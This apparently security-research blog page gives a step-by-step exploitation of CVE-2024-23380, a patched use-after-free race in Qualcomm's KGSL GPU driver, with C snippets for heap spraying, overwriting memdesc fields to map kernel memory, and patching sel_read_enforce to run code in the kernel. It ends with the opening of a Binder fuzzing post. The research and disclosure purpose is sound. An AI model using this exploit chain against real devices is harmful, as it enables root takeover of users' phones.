Posts on Android Offensive Security Blog

A Technical Deep Dive into CVE-2024-23380: Exploiting GPU Memory Corruption to Android Root

Sat, 28 Mar 2026 00:00:00 +0000

In our last blog, we talked about Binder exploit and fuzzing, and how they can be used to achieve Local Privilege Escalation (LPE) from a zero-permission application to root. In this blog, we will continue the journey of LPE, focusing on the KGSL GPU driver on the Qualcomm platform.

At BlackHat USA 2024, we published our research on the Qualcomm KGSL GPU. Over the past year, we have seen several great analyses of this issue by others [4] [5] [6]. Since then, we have received many questions from security researchers, regarding the specific issues they encountered while trying to reproduce the exploit. In this blog, we will outline in detail the process for exploiting, and answer some frequently asked questions from the security researcher community.

Background Introduction

Android Privilege Attack Surfaces

In Android, to protect the user data and the system, a user-installed application is usually constrained in a Sandbox, granting them very limited permissions (known as unprivileged or zero-permission status).

To execute unauthorized actions, an attacker must escalate to a higher privilege level, such as System permissions, with the ultimate goal of achieving Kernel-level access (Root). While it is possible to escalate privileges incrementally—starting with minor privilege gains, and finally achieving Root—this multi-stage approach significantly increases exploit complexity. Consequently, the most common attack vector is targeting the interfaces exposed by the Kernel directly.

The Kernel exposes a very limited set of interfaces to a zero-permission application. Although some vendors have special interfaces exposed (e.g., the NPU driver, or the fastrpc driver on Qualcomm devices), the most widely used attack vectors for exploiting Android devices are still Binder (which we described in previous blogs) and GPU [10] [11] [12] [13] (which we will discuss in this blog). We will focus specifically on Android devices powered by Qualcomm SoCs.

Android attack surface to kernel root

Qualcomm GPU Architecture

Qualcomm Adreno GPU Architecture

GPU is a well-known component for its ability to render graphics. For security researchers, GPU hardware is a complex, highly privileged, and proprietary coprocessor, which is separate from the Application Processor (AP) running the Android OS. To bridge the gap between userspace applications and this hardware, Qualcomm utilizes the KGSL driver. This driver exposes a device node at /dev/kgsl-3d0. Crucially, this node is accessible to all applications, allowing them to open the driver directly.

For example, the following code simply opens the device node and allocates a memory of size 0x1000 (using IOCTL_KGSL_GPUOBJ_ALLOC) which could be used by both the GPU and application.

int fd = open("/dev/kgsl-3d0", O_RDWR | O_NONBLOCK | O_ASYNC);
struct kgsl_gpuobj_alloc alloc_shared_mem = {
      .size = 0x1000,
};
rc = ioctl(fd, IOCTL_KGSL_GPUOBJ_ALLOC, &alloc_shared_mem);
close(fd);

The GPU driver functions available for userspace applications differ by GPU vendors. However, there are some basic functions that are common across most GPU architectures:

GPU process lifecycle management - The userspace can spawn one or more GPU processes in the GPU hardware for rendering content.
GPU Memory Management - used to manage the shared memory between userspace applications and GPU hardware.
GPU command execution and synchronization. Utilized by userspace to dispatch commands to the GPU and ensure they execute in the correct order (synchronization).

We will cover more details in the next section on Memory Management.

KGSL Memory Management

One of the key functions in the memory management of the GPU driver is to share memory between userspace applications and GPU hardware. A good explanation for this can be found in Project Zero’s blog, with the following diagram adapted from it:

GPU and userspace application sharing physical memory

To efficiently move data between the userspace application and GPU hardware, both should use the same physical memory directly. In the above diagram, the userspace application maps the physical memory into the userland virtual address space through the MMU, and the GPU hardware maps it to the GPU process’s virtual address space through the IOMMU, allowing them to share data through this physical memory directly. The KGSL driver manages these shared memories. From the KGSL driver’s perspective, based on who owns the backend physical pages, how the memory space looks like, there are three types of memory objects:

Basic Memory Object: Physical pages owned and allocated by the KGSL driver
Userspace Memory Object: Physical pages owned by the userspace application
Virtual Buffer Object: A flexible object allows mapping with discontiguous physical memory as well as discontiguous virtual memory.

Memory Object Lifetime and Reference Count

For all the objects described above, the KGSL driver will create exactly the same data structure, the struct kgsl_mem_entry, which is as follows:

struct kgsl_mem_entry {
	struct kref refcount;
	struct kgsl_memdesc memdesc;
	void *priv_data;
	struct rb_node node;
	unsigned int id;
	struct kgsl_process_private *priv;
...
}

The KGSL driver distinguishes these object types from the details of kgsl_mem_entry.memdesc, which has the following structure:

struct kgsl_memdesc {
	struct kgsl_pagetable *pagetable;
	void *hostptr;
	unsigned int hostptr_count;
	uint64_t gpuaddr;
	phys_addr_t physaddr;
	uint64_t size;
	atomic_t priv;
	struct sg_table *sgt;
	const struct kgsl_memdesc_ops *ops;
	uint64_t flags;
	struct device *dev;
	unsigned long attrs;
	struct page **pages;
	unsigned int page_count;
...
}

For different types of objects, kgsl_mem_entry.memdesc.flags and other fields (like ops, priv) will be different, so that the KGSL driver could distinguish them and manipulate them properly.

The core security mechanism to guarantee that the memory objects are correctly allocated and freed through the complicated multi-thread environment, is the reference counting system, as you can see in the field kgsl_mem_entry.refcount.

When an object is created, the refcount is initialized to 1
Every usage of the object should perform the following operation atomically: check that the refcount is not zero, and increase the refcount. This is usually achieved by kref_get_unless_zero
Once finished using the object, use kref_put to decrease the refcount. When the refcount is not zero, this object should not be freed. When and only when the refcount is zero, free the object and its related resources (atomically; during this process, the object should not be accessed by anyone else).

This reference counting system is efficient and robust. Not only the memory objects, most of the other KGSL objects are also secured by this mechanism and prevent lots of security issues.

Basic Memory Object (BMO)

We refer to this object as the “Basic Memory Object” (BMO) because it illustrates the fundamental memory management method of the GPU driver. The following code shows how the userspace application creates a Basic Memory Object

int fd = open("/dev/kgsl-3d0", O_RDWR | O_NONBLOCK | O_ASYNC);
struct kgsl_gpuobj_alloc alloc_shared_mem = {
      .size = size,  	// Request memory size (will be aligned to PAGE_SIZE)
      .flags = flags,
};
rc = ioctl(fd, IOCTL_KGSL_GPUOBJ_ALLOC, &alloc_shared_mem);

struct kgsl_gpuobj_info info = {.id = alloc_shared_mem.entry_id};
rc = ioctl(fd, IOCTL_KGSL_GPUOBJ_INFO, &info);

void *buf = mmap((void *)NULL, entry_size, PROT_READ | PROT_WRITE, MAP_SHARED, fd, info.gpuaddr);

When IOCTL_KGSL_GPUOBJ_ALLOC is called, the underlying KGSL driver performs the following steps:

Create the struct kgsl_mem_entry object
Allocate the requested memory (the parameter kgsl_gpuobj_alloc.size is the memory size, will be aligned to PAGE_SIZE by the KGSL driver), which we refer to as the backend physical memory
Allocate the GPU IOMMU virtual address for this physical memory in GPU hardware
Setup the IOMMU physical-virtual mapping for the GPU hardware. So that after the mapping is created, the GPU hardware can access this physical memory through the GPU virtual address.
(Optional) When the mmap is called, then the kernel driver sets up the MMU mapping for the corresponding physical memory and virtual address for the userspace application, so that the userspace application can access the physical memory through the virtual address.

So we can see from the above process, with the Basic Memory Object, the backend memory is allocated by KGSL driver and shared to both GPU and userspace.

Userspace Memory Object (UMO)

Userspace Memory Object is quite similar to Basic Memory Object. The difference is that, with the Userspace Memory Object, the userspace MMU mapping is already created (physical memory is already mapped to the virtual address of the userspace application), and then imported into KGSL driver and shared to GPU. Assuming the userspace application already has memory allocated at virtual address ptr, then the Userspace Memory Object can be created by IOCTL_KGSL_GPUOBJ_IMPORT or IOCTL_KGSL_MAP_USER_MEM, and the underlying KGSL driver will then

Create the struct kgsl_mem_entry object
Retrieve the physical memory of virtual address ptr
Allocate the GPU IOMMU virtual address for this physical memory in GPU hardware
Setup the IOMMU physical-virtual mapping for the GPU hardware.

So now both the GPU hardware and userspace applications can access this physical memory.

After the Basic Memory Object and the Userspace Memory Object are created, the memory layout of the object is as follows:

Memory layout for BMO and UMO

In these two cases, the KGSL driver will take care of the GPU physical-virtual memory mapping and unmapping according to the memory status. The physical-virtual mapping is always a fixed contiguous mapping, which is relatively simple usage.

Virtual Buffer Object (VBO)

The basic idea of VBO is to add more flexibility to the memory management, by switching the fixed contiguous mapping to one that supports both physically and virtually non-contiguous memory.

To use the VBO, we can do the following

Call IOCTL_KGSL_GPUOBJ_ALLOC with the flag KGSL_MEMFLAGS_VBO, then an empty kgsl_mem_entry with type VBO will be created. The VBO will have a GPU hardware virtual memory. As an initial state, the virtual address has no physical memory, or has a physical memory of zero-page (a page with all zero content and writing to it has no effect). Nothing will happen if we read or write this virtual memory in the GPU hardware.
To make use of the VBO, we have to call IOCTL_KGSL_GPUMEM_BIND_RANGES, to bind one (or more) existing kgsl_mem_entry (Basic Memory Object or Userspace Memory Object) to the virtual address range of VBO. The binding process is as follows:
1. For the requested virtual address and length, KGSL driver will check whether there is already a binding in this address range of VBO. If one exists, it unbinds first to release the physical-virtual mapping in GPU hardware
2. KGSL driver retrieves the physical memory of the existing kgsl_mem_entry, and sets up the physical-virtual mapping to the requested virtual address. So that the GPU hardware can access the physical address through the virtual address in the VBO.
By repeating step 2 several times, we can create a memory layout similar to the following graph. In the graph, you can see there are two existing kgsl_mem_entry (kgsl_mem_entry_A and kgsl_mem_entry_B). The VBO ksgl_mem_entry_VBO is using the physical memory from both kgsl_mem_entry_A and kgsl_mem_entry_B.

Memory layout of VBO

Since there might be multiple objects bound to a VBO at the same time, the kgsl_memdesc of VBO kgsl_mem_entry has a special member called ranges to track the binding objects and addresses. This member is a Red-Black Tree (rbtree). When an object is bound to a VBO, both the object and the address range are inserted into the tree. When unbinding, the object is removed from the tree. To avoid concurrency issues when multiple threads manipulate the ranges at the same time, it’s critical to use the ranges_lock properly.

struct kgsl_mem_entry {
	struct kref refcount;
	struct kgsl_memdesc memdesc;
...
}

struct kgsl_memdesc {
...
	/** @ranges: rbtree base for the interval list of vbo ranges */
	struct rb_root_cached ranges;
	/** @ranges_lock: Mutex to protect the range database */
	struct mutex ranges_lock;
}

So the memory of the VBO could be spliced, merged, split, removed… It’s really flexible, but also brings more challenges to memory management. We can see there are a series of issues occurring in VBO, CVE-2024-23380, CVE-2024-23384, CVE-2024-23381, CVE-2024-23372, CVE-2024-33034, which shows the complexity of this new memory management mechanism. CVE-2024-23380 is one of these issues we are going to discuss here.

CVE-2024-23380 - Use-After-Free caused by a race condition when managing VBOs

Issue Description

As we know from the previous section, we can bind Basic Memory Object (BMO) to a VBO, so that the VBO could have one (or more) backend physical memory. During the binding, the backend memory will be mapped to the virtual memory of the GPU. So that GPU process could access this physical memory through the virtual memory mapping.

After all jobs accessing this memory are finished, the BMO could unbind from the VBO, which is then unmapping the virtual memory from physical memory.

While the VBO is maintaining a physical-virtual mapping, the BMO should not be released, since it holds the backend physical memory used by the VBO. This is protected by the reference counting system we mentioned previously. Every time when a BMO is binding to a VBO, the reference count of the BMO should increase.

The vulnerability here is, when two threads bind and unbind the same VBO at the same time, there is a race condition which could corrupt the reference count of the BMO, allowing it to be released while the physical memory is still binding to the VBO. So that in this case, after the backend memory of the BMO has been released, the VBO can still access the physical memory, leading to a physical page use-after-free.

The race condition of triggering this issue is described as follows:

In the above process, we can see that when binding (Step 2 in Thread A) the BMO to the VBO, the BMO is placed into the rbtree ranges, and its reference count is increased simultaneously.
When Thread A releases the ranges mutex, since the BMO is already in the rbtree ranges, other threads can access this rbtree ranges and unbind the BMO from the VBO, decreasing the reference count at the same time. After Thread B unbinds the BMO from the VBO (Step 2 in Thread B), the VBO no longer holds the reference to the BMO. As a result, the BMO could be freed by userspace at any time.
However, in Thread A, the binding process is not finished yet. Thread A will continue mapping the physical memory of the BMO to the VBO address range (Step 4 in Thread A) — even if the BMO is no longer bound to the VBO.
Now userspace can free the BMO (since nobody else is using the BMO from the driver’s perspective), as well as the physical memory of the BMO — although the physical memory is still used by the VBO. That’s the vulnerability.

After successfully triggering the issue, we can get the following wrong memory status, as illustrated below.

Wrong memory status after issue triggered

We can see, the “Freed pages” previously owned by the Basic Memory Object have already been freed, but it’s still mapping to the GPU virtual memory address space.

Exploitation

From the above vulnerability description, we know that by triggering the issue, we can control physical pages that have already been freed. If the physical pages are later used for important kernel data—for example, the struct cred which contains critical process credentials (e.g., user IDs, group IDs, and capabilities)—we can modify this important kernel data to gain privilege escalation (e.g., modify cred.uid to 0). So here is the Exploitation Sequence:

Trigger the vulnerability to control enough physical memory pages
Fill the pages with a specific, useful objects
Modify these objects to achieve arbitrary read/write access.

Let’s go through the exploit step-by-step.

Step 1 - Trigger The Vulnerability, Control Freed Physical Page

As described above, we can trigger the issue by running two different threads, binding and unbinding the same Virtual Buffer Object(VBO) at the same time, then there is a chance that we will trigger the issue. A successful trigger leaves us in control of a physical page that the kernel considers “freed”. To confirm that we have triggered the issue, we can use the method described below in section Some Exploit Issues In Detail. Now, we have all the information about how to trigger the issue and control lots of freed pages. Let’s repeat this step until we get enough freed pages.

Step 2 - Release Freed Memory Into Kernel Memory

In most of the cases (depending on the configuration of kgsl_pool_max_pages), the freed memory will not go directly back to the kernel memory. Instead, it will be put back into a pool, so that the buffer can be reused for the next KGSL physical page allocation.

This pool is reserved exclusively for the GPU driver. If the freed page remains in this pool, it will simply be reused for graphics data. Since manipulating graphics data has no effect on the kernel, we must force the driver to release this page from its dedicated pool.

The method is to trigger a system-wide low memory condition. For example, if we allocate a large amount of memory in the userspace, this operation will consume too much memory and the system memory will be quite low. In this situation, the system will try to reclaim memory that is already owned by components but freeable, so that to avoid out-of-memory issues at the best efforts of the system.

The KGSL memory management system will react to the system memory reclaim request, and release as much as possible memory in the pool back to the system, so that the physical page controlled by us (through the vulnerability from Step 1) could be reused by the kernel.

Step 3 - Spray kgsl_mem_entry into Kernel Heap

Now, we need to fill the freed physical page with a specific object we can manipulate. We choose kgsl_mem_entry because it is powerful and easy to spray. The method to create the kgsl_mem_entry has already been described above in BASIC_MEMORY_OBJECT. Call ioctl(fd, IOCTL_KGSL_GPUOBJ_ALLOC, …) will allocate a memory entry in the KGSL driver, so that we will get a kgsl_mem_entry.

It’s important to note that if we request a Basic Memory Object, then backend physical memory will also be allocated, so that we might consume too many physical pages, which is not necessary and might reduce the success rate. To avoid this extra memory consumption, we’d better choose to allocate VBO, or Userspace Memory Object.

By repeating this step, we can spray a huge amount of kgsl_mem_entry into the kernel heap.

Step 4 - Scan For kgsl_mem_entry In Controlled Physical Pages

After the heap spray, we must identify some of the kgsl_mem_entry that will be luckily located in the physical pages controlled by us. Now we can scan the pages, to find out where these objects are. In struct kgsl_mem_entry, there is a member named metadata, which is controlled by the userspace.

struct kgsl_mem_entry {
	struct kref refcount;
	struct kgsl_memdesc memdesc;
...
	char metadata[KGSL_GPUOBJ_ALLOC_METADATA_MAX + 1];   <--

We can call IOCTL_KGSL_GPUOBJ_SET_INFO to modify the metadata to a special Sentinel as follows:

    struct kgsl_gpuobj_set_info set_info = {0};
    set_info.flags = KGSL_GPUOBJ_SET_INFO_METADATA;
    set_info.metadata = (uint64_t)&metadata[0];
    set_info.metadata_len = KGSL_GPUOBJ_ALLOC_METADATA_MAX;
    set_info.id = alloc_vbo.id;
    memcpy(&metadata[0], &SENTINEL,sizeof(SENTINEL));
    ioctl(dev_fd_per_process, IOCTL_KGSL_GPUOBJ_SET_INFO, &set_info);

So we can put a special Sentinel into this metadata, then we can find the kgsl_mem_entry in the controlled physical pages.

The method to scan the physical page is the same as what we used in Step 1 (to read content out from unbound VBO), that is using the GPU command to copy content out.

Step 5 - Modify kgsl_memdesc To Map Kernel Memory

Along with metadata, in struct kgsl_mem_entry, there is another useful member struct kgsl_memdesc memdesc.

From the structure definition struct kgsl_memdesc, we can see there are lots of useful members. The first one is const struct kgsl_memdesc_ops *ops, which usually point to kgsl_page_ops

static const struct kgsl_memdesc_ops kgsl_page_ops = {
	.free = kgsl_free_pages,
	.vmflags = VM_DONTDUMP | VM_DONTEXPAND | VM_DONTCOPY | VM_MIXEDMAP,
	.vmfault = kgsl_paged_vmfault,
	.map_kernel = kgsl_paged_map_kernel,
	.unmap_kernel = kgsl_paged_unmap_kernel,
	.put_gpuaddr = kgsl_unmap_and_put_gpuaddr,
};

This kgsl_page_ops is useful. The member function .vmfault is related to page fault handling.

Recall how the Page Fault works: when accessing a virtual memory that the backend physical memory has not yet been prepared, a VM page fault event is raised and the kernel will handle it by preparing the memory. This also works when a KGSL Memory Object is mmapped to userspace. We can mmap the Basic Memory Object and map the underlying physical memory into the virtual memory of userspace applications. The MMU may not be set up until the userspace is trying to access this virtual memory - that’s what the .vmfault is doing, to set up the real physical-virtual memory mapping.

The current function kgsl_page_ops.kgsl_paged_vmfault is setting up the physical-virtual mapping from kgsl_memdesc->pages

static vm_fault_t kgsl_paged_vmfault(struct kgsl_memdesc *memdesc,
				struct vm_area_struct *vma,
				struct vm_fault *vmf)
{
...
	if (offset >= memdesc->size)
		return VM_FAULT_SIGBUS;
...
	if (memdesc->pages[pgoff]) {
		page = memdesc->pages[pgoff];
		get_page(page);
...
	ret = vmf_insert_page(vma, vmf->address, page);
}

As we have fully controlled the `kgsl_memdesc`, we can manipulate kgsl_memdesc->pages to map arbitrary physical memory to the userspace. This requires kgsl_memdesc->pages to point to our controlled data with a known virtual address, which of course is doable but is slightly (just a little bit!) more complicated than the method we are using.

There are also other kgsl_page_ops for other types of kgsl_mem_entry, for example, kgsl_contiguous_ops, which behave differently.

static const struct kgsl_memdesc_ops kgsl_contiguous_ops = {
	.free = kgsl_contiguous_free,
	.vmflags = VM_DONTDUMP | VM_PFNMAP | VM_DONTEXPAND | VM_DONTCOPY,
	.vmfault = kgsl_contiguous_vmfault,
	.put_gpuaddr = kgsl_unmap_and_put_gpuaddr,
};

If we replace the original kgsl_page_ops with kgsl_contiguous_ops, then we can get a kgsl_mem_entry with the following vm_fault (kgsl_contiguous_vmfault) behavior.

static vm_fault_t kgsl_contiguous_vmfault(struct kgsl_memdesc *memdesc,
				struct vm_area_struct *vma,
				struct vm_fault *vmf)
{
	unsigned long offset, pfn;

	offset = ((unsigned long) vmf->address - vma->vm_start) >>
		PAGE_SHIFT;

	pfn = (memdesc->physaddr >> PAGE_SHIFT) + offset;
	return vmf_insert_pfn(vma, vmf->address, pfn);
}

For kgsl_contiguous_vmfault, it simply gets the physical address from memdesc->physaddr and then creates the physical-virtual mapping.

We just need to modify the memdesc->physaddr to the destination we are interested in, then we can map this physical address to userspace through the vm_fault process.

To summarize, here we are modifying the kgsl_memdesc.physaddr to physical address of the kernel, and kgsl_memdesc.size to kernel physical memory size, and kgsl_memdesc.ops to kgsl_contiguous_ops, so that we can map the whole kernel physical memory to userspace through the vm_fault process in one shot.

The final modified kgsl_memdesc is as follows:

struct kgsl_memdesc {
...
		phys_addr_t physaddr;    // = KERNEL_PHYS_ADDRESS
		uint64_t size;           // = KERNEL_PHYS_SIZE
		...
		const struct kgsl_memdesc_ops *ops; // = kgsl_contiguous_ops
}

Step 6 - Arbitrary Code Execution In Kernel

Building on the results of Step 5, by setting physaddr to the kernel’s physical address (which in most of the Android devices is a known fixed address at the moment), we can map the entire kernel memory into userspace, including both the data area and the code area. We can also map the code area, which is typically read-only memory, as readable and writable to the userspace. This capability exists because we are remapping the kernel’s physical memory directly. Consequently, the standard virtual memory protection mechanisms are bypassed, allowing us to always map the physical memory as writable.

  // From Step 5, we have modified the kgsl_memdesc as follows
  /*
      struct kgsl_memdesc {
...
		phys_addr_t physaddr;    // = KERNEL_PHYS_ADDRESS
		uint64_t size;           // = KERNEL_PHYS_SIZE
		...
		const struct kgsl_memdesc_ops *ops; // = kgsl_contiguous_ops
}
   */

  // Userspace run mmap to the kgsl_mem_entry
  char *kernel_base =
      mmap((void *)NULL, KERNEL_PHYS_SIZE, PROT_READ | PROT_WRITE,
                     MAP_SHARED, fd, gpu_addr))

  // Now the KERNEL_PHYS_ADDRESS is mapped to kernel_base
  // If we try to access to kernel_base
  // the following code in the kernel will be execute
  // to setup the physical-virtual mapping
  /*
static vm_fault_t kgsl_contiguous_vmfault(struct kgsl_memdesc *memdesc,
...
	return vmf_insert_pfn(vma, vmf->address, pfn);
}
  */

  // Now we can do arbitrary read/write to the kernel memory

  // Replace the Linux Banner
  char *p = "Exploit by Xiling Gong of Android RedTeam, Google:)\n";
  memcpy(kernel_base + LINUX_PROC_BANNER, p, strlen(p) + 1);

  // Modify the function sel_read_enforce
  memcpy(kernel_base + SEL_READ_ENFORCE, PATCHED_CODE, sizeof(PATCHED_CODE));

From the above code snippet, we can see, after we finish mmap, we can modify the read-only data section (e.g., Linux Banner), or the read-only code section (e.g., sel_read_enforce) in the kernel memory.

In the example code snippet, we have directly modified code of the function sel_read_enforce, which is called when userspace tries to read the SELinux configuration (for example adb shell getenforce). When userspace triggers sel_read_enforce, our arbitrary code will run. This means we are running arbitrary code in the kernel, which is the highest privilege, including Root privilege and the ability to disable SELinux.

Overall exploitation steps

Let’s summarize the overall exploitation steps as follows:

Summary of the overall exploitation steps for CVE-2024-23380

Some Exploit Issues In Detail

In this section, we will explain in detail some of the issues we encountered during the exploitation. These issues are also frequently asked by other security researchers.

What happens if we fail to trigger the issue, will we crash the device?

The vulnerability is a race condition issue. Some of the race condition issues are quite unstable - if the issue fails to trigger, it will have some side effects (like memory corruption). The good news is, this race condition issue is quite stable, nothing bad happens if the race fails. Actually when the race fails, that means the backend physical memory is not bound to the Virtual Buffer Object (VBO), that’s what the driver expects in normal case.
How do we know whether the issue is triggered or not?

Of course, if we don’t know the race result, we can still get the exploit to work. We can just keep racing (for example, one hour), until we think we have collected enough freed pages. However, for a more reliable and more effective exploit, it’s always better to know the race result if we could. From the issue description, we know that if the race fails, then the VBO will be bound back to zero-page, and if the issue triggered, then the VBO will still be bound to the Freed-page. So we can write some special Sentinel into the page before we do the race, and check whether the Sentinel changed after the race. If the Sentinel remains, then that means we triggered the issue and successfully controlled the freed physical page.

How to read content out from unbound VBO?

The answer is to read it from the GPU process using a GPU command. Remember the VBO has a virtual address in the GPU process, and the GPU process is fully controlled by the userspace application. Craft the special GPU command and run it on the GPU process, then we can read the content out to another buffer. Here is some sample code. For more information, please refer to adrenaline from Project Zero.

  for (int i = 0; i < TARGET_VBO_SIZE / PAGE_SIZE; i++) {
    *write_cmds++ = cp_type7_packet(CP_MEM_TO_MEM, 5);
    *write_cmds++ = 0;

    // Dest
    write_cmds += cp_gpuaddr(write_cmds, dest_gpu_va + i * 4);
    // Src
    write_cmds += cp_gpuaddr(write_cmds, source_gpu_va + PAGE_SIZE * i);

    if ((write_cmds - write_cmd_buf) * 4 > 0xC0000) break;
  }

  SYSCHK(munmap(write_cmd_buf, write_cmd_buf_size));
  kgsl_flush_memory_cache(dev_fd, write_cmd_buf_id);

  uint32_t cmdsize = (write_cmds - write_cmd_buf) * 4;

  kgsl_gpu_command_payload(dev_fd, ctx_id, 0, cmdsize, 1, 0, write_cmd_gpuaddr,
                           cmdsize);

Handling the False Positive: Unbind Before Bind

In practice, researchers often encounter a false positive: a scenario where the race condition fails to trigger the vulnerability, yet the VBO still correctly reads the Sentinel value from the physical memory. This happens when the Unbind operation successfully executes before the Bind operation. The sequence is Unbind -> Bind (a race failure).
- Unbind: Executes on an unbound VBO range (no-op).
- Bind: Executes normally, successfully mapping the VBO’s virtual address to the Basic Memory Object’s physical pages.
Since the final state is a successful binding, reading the VBO still returns the Sentinel value, making this outcome indistinguishable from a true UAF success based purely on the Sentinel check. This is the false positive. The solution is to perform an additional, explicit unbind operation immediately after each race attempt. This resolves the ambiguity by differentiating the kernel’s state:
- If the race was a False Positive (Unbind -> Bind): The VBO is currently a valid, kernel-managed binding. The extra unbind executes successfully, unmapping the physical page and reverting the VBO range back to the zero-page. Subsequent reading of the VBO will show the Sentinel is gone (replaced by zeros), confirming the race failed.
- If the race was a True UAF Success (Bind -> Unbind): The vulnerability has already caused the Basic Memory Object’s physical page to be freed (UAF state), while the GPU’s virtual mapping remains intact. Since the physical page is no longer under KGSL’s active management, the extra unbind attempt has no functional effect on the memory state or the IOMMU mapping. Subsequent reading of the VBO will still show the Sentinel is present, confirming successful exploitation and control over the freed page.

Conclusion

We have described the details of how to exploit CVE-2024-23380. After we finish the first step (reproduce the issue and control physical pages), the major kernel mitigations (e.g., kCFI, W^X, DEP) will not prevent further execution, because of the powerful “Physical Pages” capability of the GPU driver. It’s been many years since GPU caught the attention of security researchers. The vulnerability (CVE-2024-23380) described in this blog has been remediated in July 2024, however, there are ongoing discoveries of GPU issues that are being addressed through regular security updates (e.g., the patched CVE-2025-21479 in 2025, CVE-2026-21385 in 2026). GPU security will remain important in the foreseeable future. How to find vulnerabilities ahead of the potential exploits, how to mitigate and ease the attack from “Physical Pages” is still an important topic as always.

Credits

We would like to thank the external security research community for their continued discussion, analysis, and contributions to GPU security. We also wish to thank all of our teammates for their general support and assistance in the creation of this blog post. We would like to express special gratitude to Martijn Bogaard, Xingyu Jin, Zi Fan Tan for their crucial support and comprehensive review.

References

Binder Fuzzing

Wed, 06 Aug 2025 00:00:00 +0000

In our previous blog posts, we explored Android Binder’s intricacies, from exploiting a vulnerability (CVE-2023-20938) for kernel code execution to examining its inner workings. In this post, we shift our focus to finding vulnerabilities in the Binder kernel driver through fuzzing.

This post provides a practical guide to fuzzing the Binder kernel driver using the Linux Kernel Library (LKL). To demonstrate the advantages of this approach, we first explore existing fuzzing efforts using Syzkaller, a state-of-the-art kernel fuzzer, and highlight its challenges for this use case. Then, we dive into how LKL overcomes these limitations and our improvements, such as randomized scheduling.

If you’d like to jump straight into the fuzzer source code, you can find it here, along with an example test case and instructions on reproducing CVE-2023-20938. You can also check out our latest presentations on LKL fuzzing.

This is the last post of a multi-part series where we discuss our journey into Binder:

Part 1: Attacking Android Binder: Analysis and Exploitation of CVE-2023-20938
Part 2: Binder Internals
Part 3: Binder Fuzzing

Syzkaller

Our initial approach for Binder fuzzing was to leverage syzkaller. syzkaller has successfully uncovered several critical vulnerabilities in Binder before, such as CVE-2019-2215 (Bad Binder), as documented by Project Zero’s blog post.

Using syzkaller’s readily available syscall descriptions for the Binder driver, we quickly started fuzzing the driver on a Linux VM instance. Syzkaller employs structure-aware and coverage-guided fuzzing to generate test cases that interact with the Binder driver. These test cases contain various system calls and their arguments that aim to maximize code coverage within the driver.

The latest kernel code coverage for the Android Common Kernel (ACK) can be found on the syzbot dashboard. The following screenshot shows the code coverage achieved within the Binder kernel driver while fuzzing ACK 6.1.

Despite Binder’s complexity, syzkaller achieves decent code coverage and successfully covers most code paths for each ioctl. The remaining uncovered paths primarily consist of error handling and edge cases.

However, we knew syzkaller had missed some vulnerabilities in the past. We decided to analyze these vulnerabilities to understand syzkaller’s limitations and identify areas for improvement.

Case Study: CVE-2020-0423

This case study uses CVE-2020-0423 to highlight potential obstacles a syzkaller might encounter when attempting to trigger one of the past vulnerabilities.

CVE-2020-0423 is a use-after-free vulnerability caused by improper locking. Instead of delving into the vulnerability’s details, we will focus on the steps required to trigger it. For reference, Longterm Security has published a detailed blog post on exploiting CVE-2020-0423.

This use-after-free occurs when two clients T1 and T2 interact through Binder in a specific sequence, as demonstrated in the diagram below.

T1 sends a binder transaction containing a BINDER_TYPE_WEAK_BINDER object to T2.
T1 initiates the BINDER_THREAD_EXIT ioctl.
T1 (Kernel) Binder calls binder_release_work to clean up all binder_work belonging to T1 before exiting.
T2 initiates a BC_FREE_BUFFER command to free the received binder transaction.
T2 (Kernel) Binder calls binder_transaction_buffer_release to free the transaction buffer created in step 1. The BINDER_TYPE_WEAK_BINDER object in the transaction buffer contains a binder_work object.
T1 (Kernel) In binder_release_work, Binder accesses the already freed binder_work object, resulting in a use-after-free vulnerability.

To successfully trigger this use-after-free vulnerability, syzkaller would need to:

Spawn two clients (i.e. two threads running in different processes) and execute a sequence of ioctl calls.
Establish a connection between those clients (as detailed in Part 1 of our blog post)
Trigger a race condition on the binder_work object.

This highlights a limitation in syzkaller’s fuzzing approach for binder. Although syzkaller achieves high code coverage, covering the very lines of code where the vulnerability lies, it still has difficulty triggering the bug. This confirms the issue is not about missing code paths, but about creating the specific conditions within Binder’s complex state space that lead to memory corruption.

Many memory corruptions arise from similar logic bugs within the Binder driver’s complex state space. Much of Binder’s code involves complex state management, such as object reference counts across multiple clients, a dimension that code coverage does not capture. Although mutating transaction data can achieve high code coverage, this approach often misses specific logic bugs. Those bugs are often triggered by the specific sequence of IPC events, not by malformed data alone.

To target these specific blind spots, a more focused approach is required. Binder transactions are synchronous, demanding specific replies from clients to navigate the driver’s complex state space. An effective fuzzing approach should be aware of this. Instead of only mutating data, it must understand and manipulate the sequence of Binder operations. This involves simulating valid multi-client interactions and generating the stateful transactions to properly cover the driver’s logic.

Challenges

Our analysis revealed several challenges that might prevent syzkaller from effectively navigating Binder’s state space and triggering deep logic bugs. We designed our fuzzer specifically to address these issues.

Data dependencies

Many Binder transactions have complex dependencies between different parts of their input data. A great example is the scatter-gather mechanism used for passing objects that contain pointers.

To pass a complex data structure, the sending client must first flatten the object into a linear buffer and provide a series of binder_buffer_object structures as metadata. This metadata describes how Binder should reconstruct the object, including its internal pointer relationships and offsets, in the receiving client’s memory.

For example, consider a simple object with two pointers:

struct object {
  char *x_ptr;
  char *y_ptr;
}

Fuzzing this correctly requires generating three distinct binder_buffer_object’s that accurately describe the parent object and its two child pointers.

State dependencies

Beyond data, many operations depend on the state of the Binder driver and prior interactions.

First, Binder imposes strict protocol rules:

Transactions are synchronous.
A client cannot send a transaction to itself.
Multiple pending transactions to the same target are not allowed.

We designed our fuzzer to be aware of these rules to avoid repeatedly hitting simple error conditions. To do that, we implement default handlers so that when a client receives a transaction, it sends back a valid reply. This allows the interaction to proceed, making it more likely to explore deeper states.

Second, some Binder operations are stateful across multiple calls. For example, the BC_FREE_BUFFER operation requires a valid pointer to a transaction buffer received in a prior ioctl call.
To invoke this operation correctly, our fuzzer must maintain its own state across operations, capturing the pointer from one ioctl call and using it as valid input for a subsequent one.

Multi-process coordination

Simulating valid interactions requires coordinating multiple processes. As detailed in Part 1, clients need a context manager to establish connections with each other. Another key Binder rule is that only one process can register as the context manager per system boot, even if that process later dies.

To address this, our fuzzing harness implements a three-client model. One client is designated as the context manager and initialized by calling BINDER_SET_CONTEXT_MGR at startup. This context manager process is kept alive and reused across test cases. This setup enables the simulation of multi-process interactions, which could explore most parts of the Binder state space.

Fuzzing Binder with Linux Kernel Library (LKL)

